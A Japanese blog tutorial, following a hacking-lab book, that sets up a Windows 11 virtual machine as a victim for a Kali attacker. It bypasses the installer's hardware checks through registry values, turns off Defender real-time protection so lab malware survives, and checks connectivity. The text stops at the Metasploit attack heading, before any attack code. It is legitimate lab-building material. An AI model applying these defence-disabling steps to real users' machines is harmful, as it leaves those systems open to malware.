>Windows 11 をハッキングする手法とは



## 本記事の概要

<!-- wp:paragraph -->
<p>IPUSIRON氏著の「ハッキング・ラボの作り方　仮想環境におけるハッカー体験学習」（以降「著書」といいます）に記載されている「4-2 Windows 10のハッキング」の内容の一部を踏襲し、Windows 11で実験してみました。</p>
<!-- /wp:paragraph -->

本稿の前提条件として、Kali Linuxの動作環境の構築は完了しているものとします。
もしKaliのインストールから実施される方は、[こちらの記事](https://daimaohsx.dip.jp/wordpress/2021/12/25/how-to-build-a-hacking-lab-2022-001/)などを参考にしてください。

まず、前半の「環境構築編」ではWindows 11のインストールと設定を中心に紹介します。
後半の「ハッキング実践編」はMetasploitを使い、Windows 11の遠隔操作と管理者権限が取得ができるところまでを紹介します。

なお、本記事は[私自身のブログ](https://daimaohsx.dip.jp/wordpress/2022/06/05/how-to-build-a-hacking-lab-2022-018/)から転載しました。

## 環境構築編

Windows 11を攻撃する実験を行うためにVirtualBox上の仮想マシンにWindows 11環境を構築します。

<!-- wp:heading {"level":4} -->
<h4>Windows 11インストールに必要な要件について</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>Windows 11には厳しいシステム要件があり、これを満たさないとインストールできません（以下の画面参照）。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1757,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_17h48_24.png" alt="" class="wp-image-1757"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>しかし、ハッキングの実験環境を作成しようとしたとき、最新のハードウェア環境で実験できる方はむしろ幸運といえます。ほとんどのVirtualBoxを実行するハードウェアでは制約に抵触してしまうのではないでしょうか。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>MicrosoftはWindows 11の最小システム要件を満たさない古いPCに、Windows 11をインストールできるようにする公式の方法を公開しています。本稿では、上記の方法を含めて古いPCでも多くのハードウェアでインストール可能とする方法を紹介します。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":4} -->
<h4>Windows 11環境構築の流れ</h4>
<!-- /wp:heading -->

<!-- wp:list {"ordered":true} -->
<ol><li>Windows 11のISOファイルをダウンロード</li><li>仮想マシンの設定</li><li>Windows 11のインストール</li><li>インストールの途中でレジストリを変更（古いPCの場合）</li><li>インストール後の設定</li></ol>
<!-- /wp:list -->

<!-- wp:heading {"level":4} -->
<h4>Window 11のISOファイルを入手するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p><a rel="noreferrer noopener" href="https://www.microsoft.com/ja-jp/software-download/windows11" target="_blank">このリンク</a>からMicrosoftの「Windows 11 をダウンロードする」ページ（下図）に移動します。<br>以下のページから、「Windows 11 ディスク イメージ (ISO) をダウンロードする」のプルダウンメニューで[Windows 11（multi-edition ISO）]を選択します。次に[ダウンロード]ボタンをクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2517,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_16h46_52-1024x705.png" alt="" class="wp-image-2517"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>「製品の言語の選択」が現れるので、[日本語]を選択し、[確認]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2518,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_16h49_46-1024x705.png" alt="" class="wp-image-2518"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[64-bit ダウンロード]ボタンが現れるので、クリックしてダウンロードします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2519,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_16h52_16-1024x705.png" alt="" class="wp-image-2519"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>VirtualBoxの設定をするには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>VirtualBoxマネージャーを起動し、[新規]ボタンをクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2520,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h07_13.png" alt="" class="wp-image-2520"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>まとめて入力できる[エキスパートモード]を選択します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2521,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h09_30.png" alt="" class="wp-image-2521"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>①[名前]を入力します。ここでは任意の「仮想コンピュータ名」を指定します。「Windows 11」とすると、②の[タイプ]と[バージョン]が適切に選択されました。<br>③続いて[メモリーサイズ]を設定します。４GB以上を設定する必要があります。<br>最後に④[作成]ボタンをクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2523,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h13_13-1.png" alt="" class="wp-image-2523"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>次の画面が表示されるので、仮想ハードディスクの容量を指定し、[作成]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2525,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h21_30-1.png" alt="" class="wp-image-2525"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>図のように新規で指定した名前の仮想マシンが表示されます。[設定]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2526,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h27_56.png" alt="" class="wp-image-2526"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>①ディスプレイ＞②プロセッサを選択します。<br>CPUは2以上とします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2529,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h33_38-1.png" alt="" class="wp-image-2529"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>①ディスプレイ＞②スクリーンを選択します。<br>ビデオメモリーはMaxの128MB、グラフィックスコントローラーは[VBoxSVGA]とします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2530,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h36_01-1.png" alt="" class="wp-image-2530"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>図の順番にクリックし、準備したWindows 11のISOファイルを指定します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2531,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h49_05.png" alt="" class="wp-image-2531"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>ISOファイルが選択されました。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2532,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h54_01.png" alt="" class="wp-image-2532"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[ネットワーク]＞[アダプター２]から、「割り当て」を[ホストオンリーアダプター]に設定します。<br>最後に[OK]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2533,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_18h56_58.png" alt="" class="wp-image-2533"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>Windows 11をインストールしよう</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>仮想マシンを起動します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2534,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_19h04_22.png" alt="" class="wp-image-2534"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>仮想マシンの起動時に、英語で「DVDから起動するには何かキーを押して」という意味のメッセージが表示される場合があります。すかさず、スペースキーなどを押します。すると仮想マシンにマウントしたISOファイルから起動されます。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>以下の画面に遷移したら、［次へ］をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1762,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_18h51_25.png" alt="" class="wp-image-1762"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>［今すぐインストール］をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1763,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_18h52_11.png" alt="" class="wp-image-1763"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>以下の画面ではいったん、［プロダクトキーがありません］をクリックします。ライセンス認証は後回しにすることができます。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1764,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_18h54_03.png" alt="" class="wp-image-1764"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>Windowsのエディションを選択後、［次へ］。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2535,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_19h21_34.png" alt="" class="wp-image-2535"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>下の画面が表示された場合は、Windows 11の要件に適合しないPC上でVirtualBoxが実行されているケースです。その場合は、次の「Windows 11の要件を回避するには」の手順を行います。下の画面が表示されなかった場合は、要件を回避する操作は不要です。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>まず「戻る」ボタンをクリックし、ひとつ前の画面に戻ります。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1766,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_18h59_36.png" alt="" class="wp-image-1766"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>Windows 11の要件を回避するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>下の画面で、［Shift］キーと［F10］キーを同時に押して、コマンドプロンプト(cmd)を表示します。このようにインストール中の画面でも、cmdやメモ帳を起動することが可能です。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2536,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_19h38_34.png" alt="" class="wp-image-2536"/></figure>
<!-- /wp:image -->

<!-- wp:image {"id":1772,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_21h16_56.png" alt="" class="wp-image-1772"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>コマンドプロンプトから以下の通り入力し、メモ帳を起動します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">notepad</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>以下のコードをメモ帳に書き込みます。1行目のバージョンの行も忘れずに。<br>最後の5行は次の文字列が共通しています。この文字列を5行コピーして、「●●」を「TPM」など各々の行の文字列に置き換えてください。<br>"Bypass●●Check"=dword:00000001</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\Setup\LabConfig]
"BypassTPMCheck"=dword:00000001
"BypassSecureBootCheck"=dword:00000001
"BypassRAMCheck"=dword:00000001
"BypassStorageCheck"=dword:00000001
"BypassCPUCheck"=dword:00000001</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:image {"id":2537,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_21h19_05.png" alt="" class="wp-image-2537"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>ファイル名を「bypass.reg」として保存します。カレントフォルダのSourceフォルダ直下に保存すれば分かりやすいと思います。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1771,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_20h58_16.png" alt="" class="wp-image-1771"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>メモ帳で保存後の「bypass.reg」を実行します。cmdから以下のように入力して実行します。bypass.regの実行によって、レジストリエディタが起動され、スクリプトに書かれたレジストリのキーなどが追加されます。成功するとWindows 11の要件チェックが回避されるようになります。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock {"language":"powershell"} -->
<pre class="EnlighterJSRAW" data-enlighter-language="powershell" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">bypass.reg</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>レジストリエディタが「続行しますか？」と聞いてくるので、［はい］をクリックします。続いて、「D:\bypass.regに含まれるキーと値が、レジストリに正常に追加されました」とメッセージが表示されれば、bypass.regの実行は成功です。ただし、ドライブ名は環境により異なるかもしれません。<br>［OK］をクリックしてダイアログを終了します。<br>最後に以下のコマンドでcmdを終了します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock {"language":"powershell"} -->
<pre class="EnlighterJSRAW" data-enlighter-language="powershell" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">exit</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>再度［次へ］をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2535,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-25_19h21_34.png" alt="" class="wp-image-2535"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>インストールを継続しよう</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>次の画面が表示されたら、ひとまず要件チェックをクリアしたといえるでしょう。「同意」にチェックをし、［次へ］をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1777,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_21h46_20.png" alt="" class="wp-image-1777"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>新規インストールを行うので「カスタム」を選択します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1778,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_21h49_38.png" alt="" class="wp-image-1778"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>以降は次のような画面を遷移します。<br>[次へ]をクリック。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1779,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_21h53_44.png" alt="" class="wp-image-1779"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>下の画面に遷移したらインストールが開始されます。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1780,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_21h54_23.png" alt="" class="wp-image-1780"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>何度か再起動が行われ、以下の画面からWindows 11の設定が始まります。ここからの画面遷移は省略します。画面の指示に従って操作してください。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1781,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_22h00_52.png" alt="" class="wp-image-1781"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>Windows 11へのインストールが成功しました。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":1747,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2021/10/2021-10-10_13h23_37-1024x750.png" alt="" class="wp-image-1747"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>仮想マシンにマウントされたISOファイルの除去を行います。<br>VirtualBoxマネージャから[設定]画面を開きます。<br>①ストレージ＞②光学ドライブアイコンからメニューを開き、[光学ドライブからディスクを除去]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2539,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_11h34_47.png" alt="" class="wp-image-2539"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":3} -->
<h3>Windows 11で行うべき初期設定とは</h3>
<!-- /wp:heading -->

<!-- wp:heading {"level":4} -->
<h4>Guest Addtionsをインストールするには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>Guest Additions をインストールすると、ゲストOSをより使いやすくするための様々な機能が利用できるようになります。<br>仮想マシン上部のメニューバーから、[デバイス]＞[Guest Addtions CDイメージの挿入]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2541,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_12h58_50-1024x840.jpg" alt="" class="wp-image-2541"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>仮想マシン上でエクスプローラを起動し、Guest AdditionsのCDがマウントされたことを確認します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2543,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_13h22_24.png" alt="" class="wp-image-2543"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>エクスプローラでファイルの拡張子が表示されるようにします。<br>[表示]＞[表示]＞[ファイル名拡張子]をクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2542,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_13h19_05.png" alt="" class="wp-image-2542"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>①マウントされた[VirtualBox Guest Additions]の中の、<br>②[VBoxWindowsAdditions.exe]をダブルクリックして起動します。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2545,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_13h25_19-1.png" alt="" class="wp-image-2545"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>ユーザーアカウント制御の画面で「はい」をクリックすると、下の画面が表示が表示されます。画面に従って、セットアップを完了させます。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2546,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_13h31_09.png" alt="" class="wp-image-2546"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>セットアップの最後に仮想マシンの再起動を促す画面が表示されるので、再起動してGuest Additionsのセットアップは完了です。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":4} -->
<h4>Pingの応答を返すように設定するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>Windowsキー（田）をクリックしてスタートメニューが表示されたところで、キーボードから"cp"と入力すると検索結果に[コントロールパネル]が表示されるでしょう。<br>コントロールパネルを開きます。</p>
<!-- /wp:paragraph -->

<!-- wp:list {"ordered":true} -->
<ol><li>コントロールパネルから、[システムとセキュリティ]＞[Windows Defender ファイアウォール]をクリック</li><li>左ペインの[詳細設定]をクリック</li><li>「セキュリティが強化されたWindows Defenderファイアウォール」画面の左ペインから①[受信の規則]をクリック</li><li>②[ファイルとプリンターの共有(エコー要求 - ICMPv4送信)]が2行あるので2行を選択（[Ctrl]キーを押しながらマウスをクリック）し、③選択部分を右クリックして[規則の有効化]をクリック（下図）</li></ol>
<!-- /wp:list -->

<!-- wp:image {"id":2564,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-28_17h22_20.png" alt="" class="wp-image-2564"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>これで選択した2行にチェックマークがつき、Pingの応答を返すよう設定されました。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":4} -->
<h4>ウイルスからのリアルタイム保護を停止するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>これから実験的に「悪意のあるプログラム」を作成しますが、作成したプログラムをウイルス対策ソフト（Defender）に削除されてしまわないようにリアルタイム保護を停止しておきます。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>Windowsキー（田）をクリックし、"se"と入力します。検索結果に[設定アプリ]が表示されるでしょう。設定を起動します。<br>[プライバシーとセキュリティ]＞[Windowsセキュリティ]の順にクリックします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2549,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_14h45_17.png" alt="" class="wp-image-2549"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>[ウイルスと脅威の防止]をクリック。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2550,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_14h52_00.png" alt="" class="wp-image-2550"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>「ウイルスと脅威の防止の設定]の中の[設定の管理]をクリック。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2551,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_14h53_32.png" alt="" class="wp-image-2551"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>「リアルタイム保護」のスイッチをオフにします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2552,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-26_14h55_15.png" alt="" class="wp-image-2552"/></figure>
<!-- /wp:image -->

<!-- wp:heading {"level":4} -->
<h4>疎通確認をするには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ipconfigを実行することにより、ホストオンリーネットワークとNATのIPアドレスを確認します。<br>続いてpingにより、ルータ、インターネット、ホストOSとの疎通確認を行います。IPアドレスは環境により異なりますが、次の画面を参考に疎通確認をしてみてください。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2556,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-27_18h02_45.png" alt="" class="wp-image-2556"/></figure>
<!-- /wp:image -->

<!-- wp:paragraph -->
<p>ここで、VirtualBox上で仮想マシンの設定をするためいったん、Windows 11をシャットダウンします。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":4} -->
<h4>仮想マシンを便利にする設定とは</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>ホストOSと仮想マシン間でコピペとドラッグ＆ドロップができるように設定します。<br>VirtualBoxマネージャから設定ボタンをクリックし、[一般]＞[高度]の「クリップボードの共有」と「ドラッグ＆ドロップ」を[双方向]にします。</p>
<!-- /wp:paragraph -->

<!-- wp:image {"id":2555,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image size-full"><img src="https://daimaohsx.dip.jp/wordpress/wp-content/uploads/2022/05/2022-05-27_17h40_32-1.png" alt="" class="wp-image-2555"/></figure>
<!-- /wp:image -->



<!-- wp:paragraph -->
<p></p>
<!-- /wp:paragraph -->

## ハッキング実践編

<!-- wp:heading {"level":4} -->
<h4>Kaliとの疎通を確認するには</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>Windows 11のハッキング実験環境は以下の通りです。</p>
<!-- /wp:paragraph -->

<!-- wp:table -->
<figure class="wp-block-table"><table><tbody><tr><td></td><td>Kali</td><td>Windows 11</td></tr><tr><td>位置づけ</td><td>攻撃側</td><td>被害者側</td></tr><tr><td>ネットワーク1</td><td>ホストオンリー</td><td>ホストオンリー</td></tr><tr><td>IPアドレス1</td><td>192.168.56.103</td><td>192.168.56.101</td></tr><tr><td>ネットワーク2</td><td>NAT</td><td>NAT</td></tr><tr><td>IPアドレス2</td><td>10.0.3.15</td><td>10.0.2.15</td></tr></tbody></table></figure>
<!-- /wp:table -->

<!-- wp:paragraph -->
<p>Windows 11からKaliの方向で疎通確認を行います。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">C:\Users\win>ping 192.168.56.103

192.168.56.103 に ping を送信しています 32 バイトのデータ:
192.168.56.103 からの応答: バイト数 =32 時間 &lt;1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64

192.168.56.103 の ping 統計:
    パケット数: 送信 = 4、受信 = 4、損失 = 0 (0% の損失)、
ラウンド トリップの概算時間 (ミリ秒):
    最小 = 0ms、最大 = 1ms、平均 = 0ms</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>今度は逆に、KaliからWindwos 11に対して疎通確認をします。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">$ ping 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=128 time=0.415 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=128 time=0.848 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=128 time=1.33 ms
^C
--- 192.168.56.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.415/0.865/1.334/0.375 ms
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:heading {"level":3} -->
<h3>Windows 11をMetasploitで攻撃するには</h3>
<!-- /wp:heading -->

<!-- wp:paragraph -->
